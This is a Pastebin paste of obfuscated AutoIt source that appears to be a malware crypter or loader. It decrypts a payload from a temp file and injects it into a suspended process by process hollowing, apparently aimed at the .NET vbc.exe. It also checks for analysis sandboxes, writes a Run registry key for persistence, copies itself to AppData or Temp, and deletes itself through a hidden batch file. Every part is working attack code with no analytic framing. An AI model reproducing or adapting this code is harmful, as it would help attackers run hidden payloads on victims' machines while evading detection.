Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- $Q30X5 = D31lGk(@TempDir & "\incl2")
- $X31NmnnTA = O3132E3b2($Q30X5, "giZQhnRDI-5GLnoTIqd4Mbp9NyvhTH")
- Y34IKsAuD($X31NmnnTA, $CmdLine[1], "")
- Func C30S2WV()
- If ProcessExists(Z33Tbn0R(42)) OR ProcessExists(Z33Tbn0R(43)) Then
- Exit
- EndIf
- EndFunc
- Global $J34kUU = ProcessList()
- #region Y34IKsAuD
- Func D31lGk($O35PAyLLR)
- Return FileRead($O35PAyLLR)
- EndFunc
- Func T32Aw($M37O4Ry)
- Global $M38gx = FileFindFirstFile(StringRegExpReplace($M37O4Ry, Z33Tbn0R(41), "") & P3235NEN2M6() & Y3236akOz())
- EndFunc
- Func Z33Tbn0R($M3130fm3F)
- $B3131Rbzj = D31lGk(@Tempdir & "\incl1")
- $L3132uPH = StringReverse(BinaryToString(StringReverse(BinaryToString(StringReverse(StringReplace(StringReplace(StringReplace(StringReplace(StringReplace($B3131Rbzj, "_", "2"), "?", "0"),"xms","3"), "#", "1"), "32t", "4"))))))
- $L3134MY6a = StringSplit($L3132uPH, "=")
- $C3136hTD = 0
- Do
- If $C3136hTD = UBound($L3134MY6a) - 1 Then ExitLoop
- $L3134MY6a[$C3136hTD] = StringTrimRight($L3134MY6a[$C3136hTD], StringLen($C3136hTD) + 1)
- $C3136hTD += 1
- Until $C3136hTD = UBound($L3134MY6a)
- Return StringReplace($L3134MY6a[$M3130fm3F + 1], @CR, "")
- EndFunc
- Func Y34IKsAuD($S3239vL1g, $R3330Rpa5 = $CmdLine[1], $A3331i7m = "")
- Global $O3332jyA = "ptr", $S3333E66XA = "handle"
- Local $N3334OaU = DllStructCreate("byte[" & BinaryLen($S3239vL1g) & "]"), $R3336sAMa, $L3337JbS6T, $Q3338PQLt, $V3339tSApn2, $L3430npI, $K3431l0mFLt, $Q3432bEN, $X3433Fq5ILS, $N3434gdlZn, $W34352J, $W3436Hesp, $X3437SXBL, $T34381Ngr
- DllStructSetData($N3334OaU, 1, $S3239vL1g)
- Local $V3531cKiqX = DllStructGetPtr($N3334OaU), $I3533iyX = DllStructCreate(Z33Tbn0R(2))
- Local $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(20), "wstr", $R3330Rpa5, "wstr", $A3331i7m, $O3332jyA, 0, $O3332jyA, 0, "int", 0, "dword", 4, $O3332jyA, 0, $O3332jyA, 0, $O3332jyA, DllStructGetPtr(DllStructCreate(Z33Tbn0R(1))), $O3332jyA, DllStructGetPtr($I3533iyX))
- If @error Or Not $M37O4Ry[0] Then Return 0
- Local $G3635NEBza = DllStructGetData($I3533iyX, "Process"), $B3637ke = DllStructGetData($I3533iyX, "Thread")
- If @AutoItX64 And O3876w82($G3635NEBza) Then Return N3130l5p($G3635NEBza)
- If @AutoItX64 Then
- If @OSArch = "X64" Then
- $R3336sAMa = 2
- $L3337JbS6T = DllStructCreate(Z33Tbn0R(5))
- Else
- Return N3130l5p($G3635NEBza)
- EndIf
- Else
- $R3336sAMa = 1
- $L3337JbS6T = DllStructCreate(Z33Tbn0R(6))
- EndIf
- Switch $R3336sAMa
- Case 1
- $Q3338PQLt = 0x10007
- Case 2
- $Q3338PQLt = 0x100007
- EndSwitch
- DllStructSetData($L3337JbS6T, "ContextFlags", $Q3338PQLt)
- $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(23), "handle", $B3637ke, $O3332jyA, DllStructGetPtr($L3337JbS6T))
- If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
- Switch $R3336sAMa
- Case 1
- $V3339tSApn2 = DllStructGetData($L3337JbS6T, "Ebx")
- Case 2
- $V3339tSApn2 = DllStructGetData($L3337JbS6T, "Rdx")
- EndSwitch
- Local $M3932Ra84kA = DllStructCreate(Z33Tbn0R(7), $V3531cKiqX), $M393463 = $V3531cKiqX
- $V3531cKiqX += DllStructGetData($M3932Ra84kA, "AddressOfNewExeHeader")
- Local $G3938JaXbS = DllStructGetData($M3932Ra84kA, "Magic")
- If Not ($G3938JaXbS == "MZ") Then Return N3130l5p($G3635NEBza)
- Local $P313032aE5 = DllStructCreate("dword Signature", $V3531cKiqX)
- $V3531cKiqX += 4
- If DllStructGetData($P313032aE5, "Signature") <> 17744 Then Return N3130l5p($G3635NEBza)
- Local $J313037uc6dXX = DllStructCreate(Z33Tbn0R(8), $V3531cKiqX), $V313039hGTohH = DllStructGetData($J313037uc6dXX, "NumberOfSections")
- $V3531cKiqX += 20
- Local $C313132gAu = DllStructCreate("word Magic;", $V3531cKiqX), $S313134dt = DllStructGetData($C313132gAu, 1), $E3131363rTa
- If $S313134dt = 267 Then
- If @AutoItX64 Then Return N3130l5p($G3635NEBza)
- $E3131363rTa = DllStructCreate(Z33Tbn0R(9), $V3531cKiqX)
- $V3531cKiqX += 96
- ElseIf $S313134dt = 523 Then
- If Not @AutoItX64 Then Return N3130l5p($G3635NEBza)
- $E3131363rTa = DllStructCreate(Z33Tbn0R(10), $V3531cKiqX)
- $V3531cKiqX += 112
- Else
- Return N3130l5p($G3635NEBza)
- EndIf
- Local $S313238jb = DllStructGetData($E3131363rTa, "AddressOfEntryPoint"), $A31333028rU = DllStructGetData($E3131363rTa, "SizeOfHeaders"), $K313332rE = DllStructGetData($E3131363rTa, "ImageBase"), $P313334U1B = DllStructGetData($E3131363rTa, "SizeOfImage")
- $V3531cKiqX += 40
- Local $Q313337cym80 = DllStructCreate("dword a; dword b", $V3531cKiqX), $R313339U8 = DllStructGetData($Q313337cym80, "a"), $V313431uAi = DllStructGetData($Q313337cym80, "b")
- If $R313339U8 And $V313431uAi Then $L3430npI = True
- $V3531cKiqX += 88
- If $L3430npI Then
- $Q3432bEN = G36jGxx($G3635NEBza, $P313334U1B)
- If @error Then
- $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
- If @error Then
- T37Zdpn($G3635NEBza, $K313332rE)
- $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
- If @error Then Return N3130l5p($G3635NEBza)
- EndIf
- EndIf
- $K3431l0mFLt = True
- Else
- $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
- If @error Then
- T37Zdpn($G3635NEBza, $K313332rE)
- $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
- If @error Then Return N3130l5p($G3635NEBza)
- EndIf
- EndIf
- DllStructSetData($E3131363rTa, "ImageBase", $Q3432bEN)
- Local $J3137363NPPwW = DllStructCreate("byte[" & $P313334U1B & "]"), $R313738x3A = DllStructGetPtr($J3137363NPPwW), $O313830aBfvj = DllStructCreate("byte[" & $A31333028rU & "]", $M393463)
- DllStructSetData($J3137363NPPwW, 1, DllStructGetData($O313830aBfvj, 1))
- For $C3136hTD = 1 To $V313039hGTohH
- $X3433Fq5ILS = DllStructCreate(Z33Tbn0R(11), $V3531cKiqX)
- $N3434gdlZn = DllStructGetData($X3433Fq5ILS, "SizeOfRawData")
- $W34352J = $M393463 + DllStructGetData($X3433Fq5ILS, "PointerToRawData")
- $W3436Hesp = DllStructGetData($X3433Fq5ILS, "VirtualAddress")
- $X3437SXBL = DllStructGetData($X3433Fq5ILS, "UnionOfVirtualSizeAndPhysicalAddress")
- If $X3437SXBL And $X3437SXBL < $N3434gdlZn Then $N3434gdlZn = $X3437SXBL
- If $N3434gdlZn Then
- DllStructSetData(DllStructCreate("byte[" & $N3434gdlZn & "]", $R313738x3A + $W3436Hesp), 1, DllStructGetData(DllStructCreate("byte[" & $N3434gdlZn & "]", $W34352J), 1))
- EndIf
- If $K3431l0mFLt Then
- If $W3436Hesp <= $R313339U8 And $W3436Hesp + $N3434gdlZn > $R313339U8 Then
- $T34381Ngr = DllStructCreate("byte[" & $V313431uAi & "]", $W34352J + ($R313339U8 - $W3436Hesp))
- EndIf
- EndIf
- $V3531cKiqX += 40
- Next
- If $K3431l0mFLt Then H39yteIo($R313738x3A, $T34381Ngr, $Q3432bEN, $K313332rE, $S313134dt = 523)
- $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(19), "handle", $G3635NEBza, $O3332jyA, $Q3432bEN, $O3332jyA, $R313738x3A, "dword_ptr", $P313334U1B, "dword_ptr*", 0)
- If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
- Local $Y323336C7bo = DllStructCreate(Z33Tbn0R(12))
- $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(18), $O3332jyA, $G3635NEBza, $O3332jyA, $V3339tSApn2, $O3332jyA, DllStructGetPtr($Y323336C7bo), "dword_ptr", DllStructGetSize($Y323336C7bo), "dword_ptr*", 0)
- If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
- DllStructSetData($Y323336C7bo, "ImageBaseAddress", $Q3432bEN)
- $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(19), "handle", $G3635NEBza, $O3332jyA, $V3339tSApn2, $O3332jyA, DllStructGetPtr($Y323336C7bo), "dword_ptr", DllStructGetSize($Y323336C7bo), "dword_ptr*", 0)
- If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
- Switch $R3336sAMa
- Case 1
- DllStructSetData($L3337JbS6T, "Eax", $Q3432bEN + $S313238jb)
- Case 2
- DllStructSetData($L3337JbS6T, "Rcx", $Q3432bEN + $S313238jb)
- EndSwitch
- $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", StringReverse("txetnoCdaerhTteS"), "handle", $B3637ke, $O3332jyA, DllStructGetPtr($L3337JbS6T))
- If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
- $M37O4Ry = DllCall(Z33Tbn0R(3), "dword", "ResumeThread", "handle", $B3637ke)
- If @error Or $M37O4Ry[0] = -1 Then Return N3130l5p($G3635NEBza)
- DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(17), "handle", $G3635NEBza)
- DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(17), "handle", $B3637ke)
- Return DllStructGetData($I3533iyX, "ProcessId")
- EndFunc
- Func F356bl($G3635NEBza, $T323739NDph4p, $H323830zfj)
- Local $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, $T323739NDph4p, "dword_ptr", $H323830zfj, "dword", 0x1000, "dword", 64)
- If @error Or Not $M37O4Ry[0] Then
- $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, $T323739NDph4p, "dword_ptr", $H323830zfj, "dword", 0x3000, "dword", 64)
- If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
- EndIf
- Return $M37O4Ry[0]
- EndFunc
- Func G36jGxx($G3635NEBza, $H323830zfj)
- Local $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, 0, "dword_ptr", $H323830zfj, "dword", 0x3000, "dword", 64)
- If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
- Return $M37O4Ry[0]
- EndFunc
- Func T37Zdpn($G3635NEBza, $T323739NDph4p)
- DllCall(Z33Tbn0R(4), "int", Z33Tbn0R(24), $O3332jyA, $G3635NEBza, $O3332jyA, $T323739NDph4p)
- If @error Then Return SetError(1, 0, 0)
- Return 1
- EndFunc
- Func O3876w82($G3635NEBza)
- Local $M37O4Ry = DllCall(Z33Tbn0R(3), Z33Tbn0R(13), Z33Tbn0R(21), $S3333E66XA, $G3635NEBza, "bool*", 0)
- If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
- Return $M37O4Ry[2]
- EndFunc
- Func H39yteIo($R313738x3A, $C333138ziYote, $X333139Ii, $Z3332307urM, $U333231zF)
- Local $V333232FthX, $P333233nCTO, $P333234xlEW, $O333235yC02J, $T3332366O7koi, $Q333237IX, $R3336sAMa = 3 + 7 * $U333231zF
- While $P333233nCTO < DllStructGetSize($C333138ziYote)
- $V333232FthX = DllStructCreate(Z33Tbn0R(15), DllStructGetPtr($C333138ziYote) + $P333233nCTO)
- $P333234xlEW = DllStructGetData($V333232FthX, O3231oCXZf(98))
- $T3332366O7koi = DllStructCreate(Z33Tbn0R(16) & (($P333234xlEW - 8) / 2) & O3231oCXZf(93), DllStructGetPtr($V333232FthX) + 8)
- For $C3136hTD = 1 To (($P333234xlEW - 8) / 2)
- If BitShift(DllStructGetData($T3332366O7koi, 1, $C3136hTD), 12) = $R3336sAMa Then
- $Q333237IX = DllStructCreate($O3332jyA, $R313738x3A + DllStructGetData($V333232FthX, O3231oCXZf(97)) + BitAND(DllStructGetData($T3332366O7koi, 1, $C3136hTD), 0xFFF))
- DllStructSetData($Q333237IX, 1, DllStructGetData($Q333237IX, 1) + $X333139Ii - $Z3332307urM)
- EndIf
- Next
- $P333233nCTO += $P333234xlEW
- WEnd
- Return 1
- EndFunc
- Func N3130l5p($T333537FJ)
- DllCall(Z33Tbn0R(3), "bool", "TerminateProcess", "handle", $T333537FJ, "dword", 0)
- Return 0
- EndFunc
- #endregion
- Func F3131us()
- Return Z33Tbn0R(14)
- EndFunc
- Func O3132E3b2($H333539yl0uI, $P333630Negx)
- Local $M37O4Ry = Z33Tbn0R(30), $G333632ahi3B = Z33Tbn0R(26), $E333633M0R = "int", $V333634J0WxX = "str"
- Local $O333635vLBRfv = Z3133eRY5($M37O4Ry & J3135zSk($G333632ahi3B) & "]")
- Local $X33363838p = Z3133eRY5($M37O4Ry & J3135zSk($H333539yl0uI) & "]")
- L31347wNAV($O333635vLBRfv, $G333632ahi3B)
- L31347wNAV($X33363838p, $H333539yl0uI)
- DllCall(Z33Tbn0R(27), Z33Tbn0R(29), Z33Tbn0R(28), F3131us(), DllStructGetPtr($O333635vLBRfv), F3131us(), DllStructGetPtr($X33363838p), $E333633M0R, J3135zSk($H333539yl0uI), $V333634J0WxX, $P333630Negx, $E333633M0R, 0)
- Return DllStructGetData($X33363838p, 1)
- EndFunc
- Func Z3133eRY5($M37O4Ry)
- Return DllStructCreate($M37O4Ry)
- EndFunc
- Func L31347wNAV($M37O4Ry, $G333632ahi3B)
- Return DllStructSetData($M37O4Ry, 1, $G333632ahi3B)
- EndFunc
- Func J3135zSk($M37O4Ry)
- Return BinaryLen($M37O4Ry)
- EndFunc
- Func O31362LcHE()
- Return RegRead(Z33Tbn0R(36), "Progid")
- EndFunc
- Func E3137raDcFM()
- If Q313837X() Then
- Exit
- EndIf
- EndFunc
- Func Q313837X()
- If R3139H8Kq() = True Then
- If $J34kUU[18][0] = Z33Tbn0R(31) And $J34kUU[19][0] = Z33Tbn0R(32) And $J34kUU[20][0] = Z33Tbn0R(33) And $J34kUU[21][0] = Z33Tbn0R(34) Then Return True
- EndIf
- Return False
- EndFunc
- Func R3139H8Kq()
- If StringInStr(@OSVersion, "XP") AND StringInStr(@UserName, "Admin") AND StringInStr(@ComputerName, "pc") AND StringInStr(@OSServicePack, "3") Then Return True
- Return False
- EndFunc
- Func N3230lA0h()
- Return RegRead(Z33Tbn0R(37), Null)
- EndFunc
- Func O3231oCXZf($C3339352YjY)
- Return Chr($C3339352YjY)
- EndFunc
- Func J3232lkm1()
- Return RegRead(Z33Tbn0R(35), Null)
- EndFunc
- Func A3233gAG($I33393772Fv)
- RegWrite(O3231oCXZf(72) & O3231oCXZf(75) & O3231oCXZf(67) & O3231oCXZf(85) & O3231oCXZf(92) & O3231oCXZf(83) & O3231oCXZf(79) & O3231oCXZf(70) & O3231oCXZf(84) & O3231oCXZf(87) & O3231oCXZf(65) & O3231oCXZf(82) & O3231oCXZf(69) & O3231oCXZf(92) & O3231oCXZf(77) & O3231oCXZf(105) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(111) & O3231oCXZf(115) & O3231oCXZf(111) & O3231oCXZf(102) & O3231oCXZf(116) & O3231oCXZf(92) & O3231oCXZf(87) & O3231oCXZf(105) & O3231oCXZf(110) & O3231oCXZf(100) & O3231oCXZf(111) & O3231oCXZf(119) & O3231oCXZf(115) & O3231oCXZf(92) & O3231oCXZf(67) & O3231oCXZf(117) & O3231oCXZf(114) & O3231oCXZf(114) & O3231oCXZf(101) & O3231oCXZf(110) & O3231oCXZf(116) & O3231oCXZf(86) & O3231oCXZf(101) & O3231oCXZf(114) & O3231oCXZf(115) & O3231oCXZf(105) & O3231oCXZf(111) & O3231oCXZf(110) & O3231oCXZf(92) & O3231oCXZf(82) & O3231oCXZf(117) & O3231oCXZf(110), $I33393772Fv, O3231oCXZf(82) & O3231oCXZf(69) & O3231oCXZf(71) & O3231oCXZf(95) & O3231oCXZf(83) & O3231oCXZf(90), $CmdLine[1])
- EndFunc
- Func Z3234yH($W333939ZKUx, $Q343030mEbnK, $X343031kpxY4K = false)
- $E34303288m = "FileCopy('" & $W333939ZKUx & "', '" & $Q343030mEbnK & "')"
- Execute($E34303288m)
- $B343036rwy = 'ShellExecute("' & $Q343030mEbnK & '")'
- Execute($B343036rwy)
- If $X343031kpxY4K Then F3335QNd()
- Exit
- EndFunc
- Func P3235NEN2M6()
- Return "\"
- EndFunc
- Func Y3236akOz()
- Return "*"
- EndFunc
- Func X3237Yj7Tof()
- Return "|"
- EndFunc
- Func Z3238wzQ($M37O4Ry)
- Return StringReverse($M37O4Ry)
- EndFunc
- Func E3239X4jlUM()
- Return @TempDir & "\" & Random(50, 100, 1) & Z3238wzQ("tab.")
- EndFunc
- Func D3330KQoQ($O343132Q0, $K343133GE5gP)
- Global $A343134ifjd = Execute(O3231oCXZf(64) & O3231oCXZf(83) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(105) & O3231oCXZf(112) & O3231oCXZf(116) & O3231oCXZf(70) & O3231oCXZf(117) & O3231oCXZf(108) & O3231oCXZf(108) & O3231oCXZf(80) & O3231oCXZf(97) & O3231oCXZf(116) & O3231oCXZf(104))
- Global $Z343135pujlBx = Execute(O3231oCXZf(64) & O3231oCXZf(84) & O3231oCXZf(101) & O3231oCXZf(109) & O3231oCXZf(112) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
- Global $H343136WdpB4U = Execute(O3231oCXZf(64) & O3231oCXZf(65) & O3231oCXZf(112) & O3231oCXZf(112) & O3231oCXZf(68) & O3231oCXZf(97) & O3231oCXZf(116) & O3231oCXZf(97) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
- Global $F3431377pJWV = Execute(O3231oCXZf(64) & O3231oCXZf(83) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(105) & O3231oCXZf(112) & O3231oCXZf(116) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
- Sleep(1000)
- Switch $O343132Q0
- Case O3231oCXZf(49)
- If $CmdLine[1] <> $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP Then
- Z3234yH($CmdLine[1], $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP, true)
- EndIf
- Case O3231oCXZf(50)
- If $CmdLine[1] <> $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP Then
- Z3234yH($CmdLine[1], $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP, true)
- EndIf
- Case O3231oCXZf(51)
- If $CmdLine[1] <> $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP Then
- Z3234yH($CmdLine[1], $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP)
- EndIf
- Case O3231oCXZf(52)
- If $CmdLine[1] <> $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP Then
- Z3234yH($CmdLine[1], $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP)
- EndIf
- EndSwitch
- EndFunc
- Func N3331PvZaRj()
- Return "."
- EndFunc
- Func K3332E6($M37O4Ry)
- T32Aw($M37O4Ry)
- Return $M38gx
- EndFunc
- Func S33333ab()
- If O31362LcHE() <> '' Then Return True
- Return False
- EndFunc
- Func P3334Do1($Q343338NXnTag, $Z343339E6u)
- FileWrite($Q343338NXnTag, $Z343339E6u)
- EndFunc
- Func F3335QNd()
- Local $J343432qQZq = E3239X4jlUM(), $M37O4Ry = @CRLF, $G333632ahi3B = @ScriptDir & "\" & @ScriptName, $E333633M0R = 'ping -n ' & 0 & '127.0.0.1 > nul'
- FileDelete($J343432qQZq)
- P3334Do1($J343432qQZq, $E333633M0R & $M37O4Ry & ':loop' & $M37O4Ry & 'del "' & $G333632ahi3B & '"' & $M37O4Ry & 'if exist "' & $G333632ahi3B & '" goto loop' & $M37O4Ry & 'del ' & $J343432qQZq)
- Run($J343432qQZq, @TempDir, @SW_HIDE)
- EndFunc
- Func W33365PI7()
- If S33333ab() Then Return StringLeft(StringTrimLeft(N3230lA0h(), 1), StringInStr(StringTrimLeft(N3230lA0h(), 1), '"') - 1)
- Return StringLeft(StringTrimLeft(J3232lkm1(), 1), StringInStr(StringTrimLeft(J3232lkm1(), 1), '"') - 1)
- EndFunc
- Func T3337KEjiC($S343537xA, $J343538WXs = "*", $D343539fJPbfT = 0, $T343630JQZem6 = False)
- Local $B343631qEwHt = "|", $Z343632cqT = "", $C343633pYgq2M = "", $M343634Bd = ""
- $S343537xA = StringRegExpReplace($S343537xA, "[\\/]+$", "") & "\"
- If $D343539fJPbfT = Default Then $D343539fJPbfT = 0
- If $T343630JQZem6 Then $M343634Bd = $S343537xA
- If $J343538WXs = Default Then $J343538WXs = "*"
- If Not FileExists($S343537xA) Then Return SetError(1, 0, 0)
- If StringRegExp($J343538WXs, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0)
- If Not ($D343539fJPbfT = 0 Or $D343539fJPbfT = 1 Or $D343539fJPbfT = 2) Then Return SetError(3, 0, 0)
- Local $D343739SsPe = FileFindFirstFile($S343537xA & $J343538WXs)
- If @error Then Return SetError(4, 0, 0)
- While 1
- $C343633pYgq2M = FileFindNextFile($D343739SsPe)
- If @error Then ExitLoop
- If ($D343539fJPbfT + @extended = 2) Then ContinueLoop
- $Z343632cqT &= $B343631qEwHt & $M343634Bd & $C343633pYgq2M
- WEnd
- FileClose($D343739SsPe)
- If $Z343632cqT = "" Then Return SetError(4, 0, 0)
- Return StringSplit(StringTrimLeft($Z343632cqT, 1), $B343631qEwHt)
- EndFunc
- Func Y3338PDUw()
- Local $U343933VD = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "InstallRoot")
- Local $R343934xi4z = T3337KEjiC($U343933VD , "*", 2), $Y343936iN = ''
- For $C3136hTD = $R343934xi4z[0] To 1 Step -1
- If StringRegExp($R343934xi4z[$C3136hTD], "v4\.0\.\d+", 0) Then
- $Y343936iN = $R343934xi4z[$C3136hTD]
- ExitLoop
- ElseIf StringRegExp($R343934xi4z[$C3136hTD], "v2\.0\.\d+", 0) Then
- $Y343936iN = $R343934xi4z[$C3136hTD]
- ExitLoop
- EndIf
- Next
- Return $U343933VD & $Y343936iN & "\vbc.exe"
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement